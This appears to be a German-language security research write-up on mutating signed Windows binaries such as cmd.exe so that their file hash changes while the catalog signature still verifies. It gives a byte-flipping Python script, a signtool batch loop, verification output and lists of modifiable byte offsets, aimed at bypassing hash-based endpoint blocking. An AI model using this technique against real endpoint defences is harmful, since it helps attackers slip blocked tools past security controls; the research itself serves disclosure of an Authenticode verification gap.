
Mutet signierte Windows-Binärdateien, um gültige Katalogsignaturen beizubehalten, während Datei-Hashes geändert werden, wodurch hashbasierte Endpoint-Sperren umgangen und Authenticode-Verifizierungslücken aufgedeckt werden.
Die Idee war, Endpoint-Lösungen zu umgehen, die bekannte „bösartige“ signierte Anwendungen wie „regsvr32.exe“ blockieren. Ich wollte einen Weg finden, eine gültige signierte Datei mit einem anderen Hash zu erhalten.
Mit signtool verify /v /a cmd.exe
C:\signcheck>signtool verify /a /v cmd.exe
Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
Signing Certificate Chain:
Issued to: Microsoft Root Certificate Authority
Issued by: Microsoft Root Certificate Authority
Expires: Sun May 09 19:28:13 2021
SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072
Ich dachte, der „Hash of file“ sei die SHA1 von cmd.exe, basierend auf der Ausgabe (7EB22CBAA74B208DF433C70C06A99280036A52F3)
Eine weitere Prüfung ergab, dass die SHA1 der Datei cmd.exe wie folgt war
$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
Interessant: dieselbe Datei, zwei verschiedene Hashes.
An diesem Punkt vermutete ich, dass die Signatur möglicherweise nicht alle Abschnitte der Datei umfasst.
Ich schrieb ein einfaches Python-Skript, um Testdateien zu erzeugen.
import sys
orig = list(open(sys.argv[1], "rb").read())
i = 0
while i < len(orig):
current = list(orig)
current[i] = chr(ord(current[i]) ^ 0xde)
path = "%d.exe" % i
output = "".join(str(e) for e in current)
open(path, "wb").write(output)
i += 1
print "done"
Danach wurde python generate.py cmd.exe ausgeführt und erzeugte mehr als 300 GB neue Dateien.
Wir müssen nun jede erzeugte Datei validieren, um festzustellen, ob sie die Signaturprüfung besteht.
Dazu kann eine einfache Batchdatei verwendet werden
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a %%A.exe
)
Die Datei 330.exe hat die Signaturprüfung bestanden. In diesem Fall ist die Datei unterschiedlich, da Offset 330 modifiziert wurde.
C:\signcheck>signtool verify /a /v 330.exe
Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe
$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
Die folgenden Bytes können geändert werden, ohne die Signatur zu brechen:
330, 331, 408 - 412
Die folgenden Bytes können geändert werden, ohne die Signatur zu brechen:
320 - 323, 400 - 407
Die folgenden Bytes können geändert werden, ohne die Signatur zu brechen:
216 - 219